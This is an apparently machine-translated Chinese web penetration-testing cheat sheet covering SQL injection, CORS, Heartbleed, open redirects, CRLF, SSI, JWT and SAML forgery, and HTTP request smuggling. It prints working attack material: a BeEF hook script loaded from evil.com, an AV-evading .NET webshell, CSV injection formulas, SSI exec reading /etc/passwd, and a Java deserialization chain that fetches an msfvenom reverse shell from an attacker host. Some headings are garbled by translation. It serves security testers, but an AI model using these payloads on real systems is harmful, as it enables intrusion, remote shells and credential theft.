资源: https //buer.haus/2015/01/15/yahoo-root-access-sql-injection-tw-yahoo-com/

使用 sqlmap 通过 JWT 和基本身份验证测试站点:

sqlmap -u https://target --headers="X-Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU1NDkzNjEwNSwiZXhwIjoxNTU0OTM2MjI1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.CUJeDfpJCBD-RKCkGe6q5U2byv0rkxZnRhvPwyFYglg" --data={"note":"asdf","id":"1*"} --level=5 --risk=2 --dbs --auth-type=basic --auth-cred=user:password -vvvv

--data: 用于指定 post 数据 *: 用于告诉 sqlmap 尝试注入的位置,如果您还没有指定参数-p

资源: https //github.com/sqlmapproject/sqlmap/issues/646

使用 SQLMap 在 PUT REST 参数中测试 SQLi:

  1. 将 Vulnerable 参数标记为 *
  2. 复制请求并将其粘贴到文件中。
  3. 用 sqlmap 运行它: sqlmap -r <file with request> -vvvv

使用篡改脚本告诉 sqlmap 如何对其注入进行编码。

JSQLsqlmap的替代品,它的开发程度不高,但看起来很有趣。

开发商似乎也响应这个时候,他们无法理解为什么参数化查询工作。TL;DR – 值与查询本身分开。

资源: https //www.sxcurity.pro/asus-sqli/

SQL速查表

你可以在这里找到我的 SQL 备忘单。

会话固定

可用于确定会话固定是否是站点上的问题的快速健全性检查:

  1. 转到登录页面,观察未经身份验证的用户拥有的会话 ID。
  2. 登录网站。进入后,观察用户拥有的会话 ID。如果会话 ID 与用户在通过身份验证之前由站点提供的 ID 匹配,则您正在查看会话固定漏洞。

文件上传漏洞

在 OS X 上创建测试 10gig 文件(用于测试文件上传限制):

mkfile -n 10g temp_10GB_file

绕过文件上传验证

确定是否在客户端和服务器端验证文件扩展名。如果它只是客户端,您可能在做生意 – 通过中继器或 curl 进行上传来检查这一点。

要绕过文件内容验证,请尝试将预期的字符串添加到您的上传中,即GIF98是否需要 jpeg。

如果您在获取正确的文件扩展名时遇到问题,请尝试空字节注入:

webshell.php%00.jpg

资源: https: //medium.com/@mr_beast /the-accidental-rce-7ceef9cee179 http://nileshkumar83.blogspot.com/2017/01/file-upload-through-null-byte-injection.html

其他备忘单

https://github.com/jhaddix/tbhm

CORS 配置错误

用于测试的基本 POC(大致基于https://www.sxcurity.pro/tricky-CORS/https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/ ) :

<!DOCTYPE html>
<html>
  <body>
    <center>
      <h2>CORS POC Exploit</h2>

      <div id="demo">
        <button type="button" onclick="cors()">Exploit</button>
      </div>

      <script>
function cors() {
  var req = new XMLHttpRequest();
  req.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = this.responseText;
      // If you want to print something out after it finishes:
      //alert(req.getAllResponseHeaders());
      //alert(localStorage.access_token);
    }
  };
  // If you need to set a header (you probably won't):
  // req.setRequestHeader("header name", "value");
  req.open("GET", "<site>", true);
  req.withCredentials = true;
  req.send();
}
      </script>
  </body>
</html>

资源

https://www.securityninja.io/understanding-cross-origin-resource-sharing-cors/ http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html https://www .youtube.com/watch?v=wgkj4ZgxI4c http://ejj.io/misconfigured-cors/ https://www.youtube.com/watch?v=lg31RYYG-T4 https://developer.mozilla.org/en -US/docs/Web/HTTP/CORS https://w3c.github.io/webappsec-cors-for-developers/#cors http://gerionsecurity.com/2013/11/cors-attack-scenarios/ 使用 CORS窃取 CSRF 令牌的错误配置:https : //yassineaboukir.com/blog/security-impact-of-a-misconfigured-cors-implementation/

另一个 CORS 错误配置 POC

x = new XMLHttpRequest();
x.open("GET","http://target.com:9090/api/v1/query?
query=go_info",false)
x.send()
console.log(x.responseText)

资源: https //cure53.de/pentest-report_prometheus.pdf

测试心血

nmap -d --script ssl-heartbleed --script-args vulns.showall -sV -p <port> <target ip> --script-trace -oA heartbleed-%y%m%d

窃取私钥:

wget https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py
echo "<target>:<port>" > targets.txt
python heartbleed.py -f targets.txt -v -e

读取内存:

wget https://raw.githubusercontent.com/sensepost/heartbleed-poc/master/heartbleed-poc.py
python heartbleed-poc.py <target> -p <target port> | less

strings如果您愿意,您还可以在随后创建的 dump.bin 文件上运行。

资源

https://gist.github.com/bonsaiviking/10402038 https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py

让 Burp Suite 在 OSX 上与 Chrome 一起工作

  1. 通过转到http://burp并单击CA 证书来下载 Burp证书
  2. 转到钥匙串访问
  3. 单击文件->导入项目
  4. 单击窗口左下角的“I”图标
  5. 单击信任旁边的箭头
  6. 更改使用此证书时:始终信任
  7. 重启 Chrome

什么是DOM?

这可能属于本文的顶部,但我最近在此页面上找到了这篇文章,并且发现解释简单,简洁,切中要害:https : //css-tricks.com/dom/。绝对是我希望在我刚开始从事这个领域时找到的东西。

打开重定向

打开重定向到 XSS:http : //breenmachine.blogspot.com/2013/01/abusing-open-redirects-to-bypass-xss.html

有效载荷:https : //github.com/cujanovic/Open-Redirect-Payloads/blob/master/Open-Redirect-payloads.txt

打开重定向到 XSS BEEF 负载:

<script> s=document.createElement('script'); s.type='text/javascript'; s.src='http://evil.com:3000/hook.js'; document.getElementsByTagName('head')[0].appendChild(s); </script>

使用 Burp 中的解码器将其编码为 base-64,并将其交付给有效负载:

data:text/html;base64,PHNjcmlwdD4gcz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsgcy50eXBlPSd0ZXh0L2phdmFzY3JpcHQnOyBzLnNyYz0naHR0cDovL2V2aWwuY29tOjMwMDAvaG9vay5qcyc7IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdoZWFkJylbMF0uYXBwZW5kQ2hpbGQocyk7IDwvc2NyaXB0Pg==

其他要尝试的有效载荷:

http://;URL=javascript:alert('XSS')
data:text/html%3bbase64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
%0D%0Adata:text/html;text,<svg/onload=prompt(1)>

资源: https //hackerone.com/reports/177624

javascript://%0aalert(1)
javascript://%0dalert(1)
ja\nva\tscript\r:alert(1)//?
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)//?
jav\nascri\npt://evil.com%0Aalert(document.cookie);alert(document.domain);
javascrip%0at%0a:alert(document.cookie)//
http:javascript:alert(document.domain)

这个站点有很多有效载荷的想法:https : //github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect

资源: http //blog.beefproject.com/2013/03/subverting-cloud-based-infrastructure.html

CRLF注射液

如果您看到请求的输入参数:

http://inj.example.org/redirect.asp?origin=foo

在响应头中回显:

HTTP/1.1 302 Object moved
Date: Mon, 07 Mar 2016 17:42:46 GMT
Location: account.asp?origin=foo
Connection: close
Content-Length: 121

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="">here</a>.</body>

您应该尝试 CRLF 注入:

http://inj.example.org/redirect.asp?origin=foo%0d%0aSet-Cookie:%20ASPSESSIONIDACCBBTCD=SessionFixed%0d%0a

CRLF: %0d%0a

资源

https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545 https://www.gracefulsecurity.com/http-header-injection/ https://www.owasp.org/ index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016) https://www.acunetix.com/websitesecurity/crlf-injection/ https://blog.innerht.ml/twitter-crlf-injection/

模板注入

您可以将一些代码放入 jsfiddle 进行有效负载测试:

<html>
<head> 
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.js"></script>
</head>
<body>
<div ng-app>
{{constructor.constructor('alert(1)')()}}
</div>
</body>
</html>

资源

http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

再生能源认证

使用 webshel​​l 上传 (.NET) 绕过 AV:

取一个已知的 webshel​​l,修改函数名称和标题(如果适用)等字符串。

这是在 fuzzdb 项目中找到的一个 webshel​​l 的示例:

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string executeIt(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdClick(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(executeIt(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>REALLY NICE</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="execute" OnClick="cmdClick"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>

参考

https://hax365.wordpress.com/2015/12/15/easy-trick-to-upload-a-web-shell-and-bypass-av-products/

CSV 注入

打开一个网页: =HYPERLINK("http://evil.com:666","hell")

资源: https //www.we45.com/blog/2017/02/14/csv-injection-theres-devil-in-the-detail

在 Windows 上的 excel 中,输入以下内容以获取 cmd shell: =cmd|'cmd'!''

伟大的现实世界示例:https : //rhinosecuritylabs.com/azure/cloud-security-risks-part-1-azure-csv-injection-vulnerability/

在这里写了一篇很好的文章,解释了它是什么以及你为什么要关注:http : //georgemauer.net/2017/10/07/csv-injection.html

一个视频也展示了这个例子:https : //www.youtube.com/watch?v=SC7AkclnG2g

内容发现

打嗝入侵者 ftw。自定义内容发现paylaods:https ://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10

有用的脚本

持续检查站点是启动还是关闭

while true; do /usr/bin/wget "http://[target]/uri/path" --timeout 30 -O - 2>/dev/null | grep "[item on page]" || echo "The site is down"; sleep 10; done

IDOR

https://www.bugcrowd.com/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/

服务器端包含 (SSI) 注入

将其放入易受攻击的参数中: <!--#echo var="DATE_LOCAL" -->

如果这有效,您应该在响应中看到当前日期和时间输出。

如果之前的有效负载有效,请尝试以下操作: <!--#printenv -->

这将输出系统上的环境变量。

去淘金: <!--#exec cmd="cat /etc/passwd"-->

我认为这其中发生的事情很明显。

您可以在此处使用大量有效负载。

同样值得测试 XSS 的易受攻击参数。

点击劫持

只需使用 Burp 的 clickbandit。还请记住:点击劫持是针对点击,而不是针对键盘。

快速而肮脏的测试脚本

<html>
   <head>
     <title>Clickjack test page</title>
   </head>
   <body>
     <p>Website is vulnerable to clickjacking!</p>
     <iframe src="http://target.com" width="500" height="500"></iframe>
   </body>
</html>

资源: https //www.owasp.org/index.php/Testing_for_Clickjacking_( OTG- CLIENT- 009) https://javascript.info/clickjacking https://www.tinoilsecurity.com/blog/what-is-clickjacking

用 Burp 攻击 JSON

显然在这个时间点 (5/2018),Burp 的扫描器在测试 SQLi 和 RCE 的 json 参数方面做得不好。请务必通过向入侵者发送潜在易受攻击的请求、标记参数、右键单击并从下拉列表中单击“主动扫描定义的插入点”来设置自定义注入点。

资源: https //www.coalfire.com/Solutions/Coalfire-Labs/The-Coalfire-LABS-Blog/may-2018/the-right-way-to-test-json-parameters-with-burp

反序列化漏洞

  • 反序列化:将序列化的数据转换回对象
  • 序列化对象:将内存中的对象转换为可以存储和共享的字节流。

当攻击者能够在不检查输入的情况下将带有恶意负载的序列化对象引入到反序列化它的端点时,就会发生这种情况。

爪哇

每当您RO0AB在 Java 应用程序中遇到base64 流时,请考虑测试反序列化漏洞。

攻击时,您需要在发送恶意负载之前对其进行 base64 编码。

资源: https //www.youtube.com/watch?v=5grJYo9IqY0

写一个同事解释了 java 反序列化漏洞

https://greyshell.github.io/blog/2019/11/22/insecure-deserialization-java/

其他文案

关于 Oracle Weblogic CVE-2018-2628 的文章 https://securitycafe.ro/2017/11/03/tricking-java-serialization-for-a-treat/ https://www.coalfire.com/The-Coalfire-Blog /Sept-2018/Exploiting-Blind-Java-Deserialization

工具:

Ysoserial Java 反序列化扫描器 Burp 扩展 Java 序列化有效负载Burp 扩展

Oracle WebLogic Java 对象 RMI 回连反序列化 RCE(2017 年 1 月 CPU)

带外测试

  1. 启动一个监听器:
python -m http.server 4000
  1. 指定要在 JRMPListener 主机上运行的命令:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 4040 CommonsCollections5 'curl http://<system with listener>:4000/'
  1. 运行漏洞利用:
python2 deserialize_exploit.py -t <vulnerable system ip> -p <vulnerable system port> --jip <system with listener> --jport 4040 --ysopath ysoserial.jar --cmd ""

得到一个壳

  1. 使用 msfvenom 生成有效载荷:
msfvenom -p cmd/unix/reverse_bash LHOST=<attacker system> LPORT=4444 -f raw > shell.sh
  1. 启动一个监听器:
python -m http.server 4000
  1. 在JRMPListener主机上指定下载反向shell的命令:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 4040 CommonsCollections5 'curl -o /tmp/shell.sh http://<attacker system>:4000/shell.sh'
  1. 为反向连接启动一个 netcat 监听器:
nc -lvnp 4444
  1. 运行漏洞利用:
python2 deserialize_exploit.py -t <vulnerable system ip> -p <vulnerable system port> --jip <attacker system> --jport 4040 --ysopath ysoserial.jar --cmd ""
  1. 再次运行 JRMPListener 以运行我们在上一步中下载的反向 shell:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 4040 CommonsCollections5 'sh /tmp/shell.sh'
  1. 利润

使用 autorize 查找授权问题

  1. 以低权限用户身份登录目标应用程序,转到 burp 中的授权选项卡 – autorize 应该关闭
  2. 点击配置
  3. 单击从上次请求中获取 cookie
  4. 打开隐身窗口
  5. 以高权限用户登录
  6. 单击Autorize is off将其打开
  7. 转到仅限管理员的站点区域
  8. 在列中查找橙色/绿色

智威汤逊

JWT 解决了传统上通过会话处理的问题。如果它没有坏,就不要修理它,对吗?好吧,当您将移动本机应用程序和 SPA 等必须与多个后端服务通信的因素考虑在内时,这将成为解决此问题的一种效率较低(且更痛苦)的方法。

可以在此处找到对 JWT 解决的问题的更彻底的解释和评估。

测试不安全的 JWT 实现

确定它是否已加密

如果不记名令牌以 eyj 开头,则它是未加密的。但是,如果它以 iac 开头,则它是加密的。

更改有效负载中的用户

  1. 捕获不记名令牌
  2. Base64 解码令牌的第二部分(有效载荷)
  3. 将用户更改为应用程序上下文中的另一个有效用户
  4. Base64 编码新的 Payload
  5. 用新的 Payload 替换现有的第二部分
  6. 发送令牌并查看应用程序是否接受它

将算法更改为无

  1. 使用不记名令牌捕获请求,例如:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU1NDkzNjEwNSwiZXhwIjoxNTU0OTM2MjI1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.CUJeDfpJCBD-RKCkGe6q5U2byv0rkxZnRhvPwyFYglg
  1. Base64.使用 Burp 解码器解码令牌的第一部分(第一部分之前的所有内容):
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 =>
{"typ":"JWT","alg":"HS256"}
  1. 更改"alg":"HS256""alg":"none"Base64 对其进行编码:
{"typ":"JWT","alg":"none"} =>
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
  1. 用它替换令牌的第一部分并删除令牌的最后一部分(签名),但在末尾留下句点:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU1NDkzNjEwNSwiZXhwIjoxNTU0OTM2MjI1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.

用于测试目的的很棒的演示站点

将算法从 RS256 更改为 HS256

  1. 从目标服务器获取公共证书:
openssl s_client -connect www.google.com:443 2>/dev/null </dev/null |  sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > cert.pem
  1. 把它变成公钥:
openssl x509 -in cert.pem -pubkey -noout > public.pem

单线替代:

openssl s_client -connect www.google.com:443 | openssl x509 -pubkey -noout > public.pem
  1. 将其转换为 ASCII 十六进制:
cat public.pem | xxd -p | tr -d "\\n" > hex.txt
  1. 获取 JWT 令牌,例如:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU1NDk0MTE5NywiZXhwIjoxNTU0OTQxMzE3LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.OQq0VqiYsSxTzTSFEnwVVW0eRbrkeEW5VnsGYDLQ5BXMAKfTGbXxL00s07JvLDhWJsSuKyOwkWOh1evUSBikZ97zQgqqYvECv26FyhxGKnzXIWK5Efg8H0lsmy7HJ-YQJDbhRkZLJ6G5DPW5bCxjzRFcvzqtMmiAM0B3zMiSXOMSMJ_NtmVe1WtM7lQD38a2uDfOtuFSn5e0D2RgFJa2lOP2d1oFGchJqDM9IbkAZSzAlHx0tftR2DqV-N3VlD0UiAWygVfWQukOiGPa5ms0pz886B4hFP1xmBeNK49y1SLhQ7yw2VozFhte6mvQFbPTXHqFxCqB8MG0fn0LkqtHXg
  1. 取第一部分并将其从 RS256 更改为 HS256:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9 =>
{"typ":"JWT","alg":"RS256"} =>
{"typ":"JWT","alg":"HS256"} =>
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
  1. 使用 hex.txt 中的十六进制对令牌的前两部分进行签名操作(末尾没有句点):
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU1NDk0MTE5NywiZXhwIjoxNTU0OTQxMzE3LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

这将输出 HMAC 签名:

076be5cb34056468b78a2c27194516912f5346201e9dd674ae97b1fb04058a4e
  1. 获取输出并使用python将其转换为JWT格式:
python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('076be5cb34056468b78a2c27194516912f5346201e9dd674ae97b1fb04058a4e')).replace('=','')\")"

这将输出如下内容:

B2vlyzQFZGi3iiwnGUUWkS9TRiAendZ0rpex-wQFik4
  1. 获取输出并将其放入签名(令牌的最后一部分):
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU1NDk0MTE5NywiZXhwIjoxNTU0OTQxMzE3LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.B2vlyzQFZGi3iiwnGUUWkS9TRiAendZ0rpex-wQFik4

用于测试目的的很棒的演示站点

资源: https //www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/ https://stackoverflow.com/questions/7885785/ using-openssl-to-get-the-certificate-from-a-server

请注意,当您修改 base64 字符串时,您需要添加填充 ( =) 以获得正确的字符串表示形式。值得注意的是,这不是RFC 7515 所要求的。

这是一个备忘单,涵盖了在查看使用 JWT 的站点时应该测试的各种内容:https : //assets.pentesterlab.com/jwt_security_cheatsheet/jwt_security_cheatsheet.pdf

有用的资源: 容易理解什么是智威汤逊解释: https://medium.com/myplanet-musings/what-is-a-json-web-token-2193f383e963 大遗址与演示页面:https://开头WWW .sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/ 调试 jwt 令牌:https //jwt.io/ https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/JSON_Web_Token_Cheat_Sheet_for_Java.md

有用的文章: https //blog.websecurify.com/2017/02/hacking-json-web-tokens.html https://medium.com/@0xSyndr0me/h1702-2018-web-challenge-write-up-4aea52d31807 https://gist.github.com/amalmurali47/8cf251f75db282376c8f58c27d7d900a

低频电流

漏洞赏金记录:

https://hack-ed.net/2017/11/05/finally-a-bug-bounty-write-up-lfi/

子域接管

https://0xpatrik.com/subdomain-takeover-starbucks/ https://medium.com/@hakluke/how-to-setup-an-automated-sub-domain-takeover-scanner-for-all-bug-bounty -programs-in-5-minutes-3562eb621db3

现有备忘单和资源

这详细说明了从侦察到利用的所有步骤。绝对值得一试:https : //jdow.io/blog/2018/03/18/web-application-penetration-testing-methodology/ 另一个很棒的:https : //danielmiessler.com/projects/webappsec_testing_resources/ 一些很棒的错误狩猎结果:https : //www.youtube.com/watch?v=mQjTgDuLsp4

开发者的好资源

您可以将这些网站发送给试图了解 Web 应用程序安全基础知识的开发人员。

https://medium.freecodecamp.org/a-quick-introduction-to-web-security-f90beaf4dd41

SAML 攻击

更改用户

  1. 使用 SAMLResponse 拦截请求
  2. 找到<NameID[stuff]</NameID>标签
  3. <NameID[stuff]</NameID>借助SAML Raider Burp Extension将标签修改为另一个用户。例如,user@site.comadmin@site.com
  4. 转发它

剥离签名并更改用户

  1. 使用 SAMLResponse 拦截请求
  2. 找到<NameID[stuff]</NameID>标签
  3. <NameID[stuff]</NameID>借助SAML Raider Burp Extension将标签修改为另一个用户。例如,user@site.comadmin@site.com
  4. 找到ds:SignatureValue [stuff]</ds:SignatureValue>
  5. 删除这两个字符串之间的内容
  6. 转发它

学习资源: https: //duo.com/blog/the-beer-drinkers-guide-to-saml https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations https:// /research.aurainfosec.io/bypassing-saml20-SSO/

SAST/秘密狩猎脚本和工具

在基于 Java 的 repo 中查找反序列化漏洞

find . -name "*.java" -print -exec grep -E "XMLdecoder|XStream|ObjectInputStream|Serializable" {} \; | tee prodsec/serializable.txt

在反应代码中查找易受攻击的接收器

ggrep -rnwlE "dangerously|ReactDOM.render|React.createElement|innerHTML|target=\"_blank\"|eval\(" | grep -v test

资源: https //hackerone.com/reports/409850 https://flexport.engineering/six-vulnerabilities-from-a-year-of-hackerone-808d8bfa0014 https://medium.com/dailyjs/exploiting-script- reactjs-883fb1fe36c1 注入缺陷

首先为您的目标下载 js。

接下来,克隆并安装 LinkFinder:

git clone git@github.com:GerbenJavado/LinkFinder.git
cd LinkFinder
pipenv --python 3
pipenv shell
pip install -r requirements.txt

将您的 js 文件合并到一个文件夹中:

mkdir all_js
find . -iname "*.js" -exec cp {} ./all_js \;

运行linkfinder

python linkfinder.py -i 'all_js/*.js' -o cli

资源: https //github.com/GerbenJavado/LinkFinder

打嗝静态扫码

按照本网站上的说明进行操作:https : //medium.com/@michael.plazek91/learn-how-to-statically-scan-your-react-app-for-security-flaws-738d36064988

与给出的说明不同的一些事情:

cd burpstaticscan && go get && go build
  • 像这样运行它:
./burpstaticscan -dir <path/to/code> -port 9999 -burpbuddy http://127.0.0.1:8001

Gitleaks

在 OSX 上使用多线程对 repo 运行 gitleaks:

CPU=$(sysctl -a |grep cpu.thread_count | grep -Po '(\d+)')
gitleaks --path=/path/to/repo --threads=$CPU -v --report=results.csv

在 Linux 上:

CPU=$(cat /proc/cpuinfo | grep -ic ^processor)
gitleaks --repo=https://github.com/owner/repo --threads=$CPU

资源: https //computingforgeeks.com/gitleaks-audit-git-repos-for-secrets/

会话与本地存储

使用会话存储,在浏览器窗口关闭后,存储的数据不会保留。对于本地存储,数据在浏览器关闭后会一直存在,直到过期。

带外测试

我过去曾使用以下资源进行 OOB 测试:

  1. 打嗝协作者
  2. https://webhook.site
  3. python3 -m http.server

HTTP 请求走私

前提

Content-LengthTransfer-Encoding标头是用于指示其中请求结束。Content-Length以字节为单位指定消息体的长度:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling 

Transfer-Encoding用于说明消息正文使用分块编码。这意味着消息正文至少有一个数据块。每个块都有一个以字节为单位的大小,用十六进制表示。这之后\n,然后将大块内容。消息以块大小为零终止。在这个例子中,有 11 个字节(b十六进制):

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

在请求中同时使用这两种方法可能会导致它们相互冲突。HTTP 规范指定,Content-Length如果两者都存在,则应忽略。但是,如果有多个服务器链接在一起,这将不起作用。这是因为:

  1. 某些服务器不支持Transfer-Encoding标头
  2. Transfer-Encoding如果头被混淆,一些支持头的服务器可以被强制不处理它,即Transfer -Encoding: chunked.

如果前端和后端服务器对Transfer-Encoding标头的处理方式不同,连续请求之间的边界可能会混淆并导致请求走私。

有以下三种行为需要考虑:

  1. CL.TE—— Content-Length(由前端处理);Transfer-Encoding(由后端处理)
  2. TE.CL—— Transfer-Encoding(由前端处理);Content-Length(由后台处理)
  3. TE.TE—— Transfer-Encoding(由前端处理);Transfer-Encoding(由后端处理)。在这种情况下,两台服务器都支持Transfer-Encoding标头,但对标头的混淆导致其中一台服务器不处理它。

介绍攻击

Content-LengthTransfer-Encoding标头放入单个 HTTP 请求中。手动找出 CL 可能很耗时,这是http-request-smuggler扩展有用的众多原因之一(更多信息见下文)。

CL.TE:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED 

实际例子:

POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

TE.CL: 如果您使用中继器,请务必转到中继器菜单并取消选中“更新内容长度”选项。您还需要在最后一个 0 之后包含尾随序列 \r\n\r\n(在中继器中按两次 Enter 键)。

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

重要的是要注意,这8是我们走私的字节数(SMUGGLED是 8 个字节)。

实际例子:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


需要注意的5c是,这是我们走私的字节数(在本例中为 92)。

TE.TE: 这些是混淆Transfer-Encoding标题的一些方法(不密集):

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Transfer-[tab]Encoding: chunked
\x0dTransfer-Encoding: chunked
Transfer\x0d-Encoding: chunked
Transfer-[tab]Encoding:[tab]chunked
Transfer-[tab]Encoding: chunked
Transfer-[tab]Encoding:chunked

对于带有 \x0d 的那些 – 您需要使用 Burp Repeater 的 Hex 选项卡将该值添加到 as 中0d。它将在 Raw 选项卡中显示为一个空格。

实际例子:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


工具

HTTP的请求走私扩展,试图找出这些类型的漏洞的一个好方法。安装扩展后:

  1. 拦截请求
  2. 右键单击它,单击Launch smuggle probe然后单击 OK
  3. 一旦漏洞出现在仪表板中,打开第一个关联的请求,右键单击它并单击走私攻击
  4. 点击攻击

方法

  • 尝试在http-request-smuggler扩展的帮助下识别此漏洞
  • 请务必尝试在中继器中多次发送您从输出中选择的 POC 请求

解决

  • 禁用后端连接的重用,因此每个后端请求都通过单独的网络连接发送
  • 使用 HTTP/2 进行后端连接
  • 前端和后端使用相同的 Web 服务器

资源:

打嗝

配置

匹配和替换

可以产生一些结果的几个匹配和替换选项。这些可以添加到您的项目选项文件中,或者您可以获取以下信息并在代理 -> 选项 -> 匹配和替换下手动输入。

{
    "comment":"Test for host header injection redirect",
    "enabled":false,
    "is_simple_match":true,
    "rule_type":"request_header",
    "string_replace":"X-Forwarded-Host: <server you own or burpcollab addr>"
},

拦截客户端请求

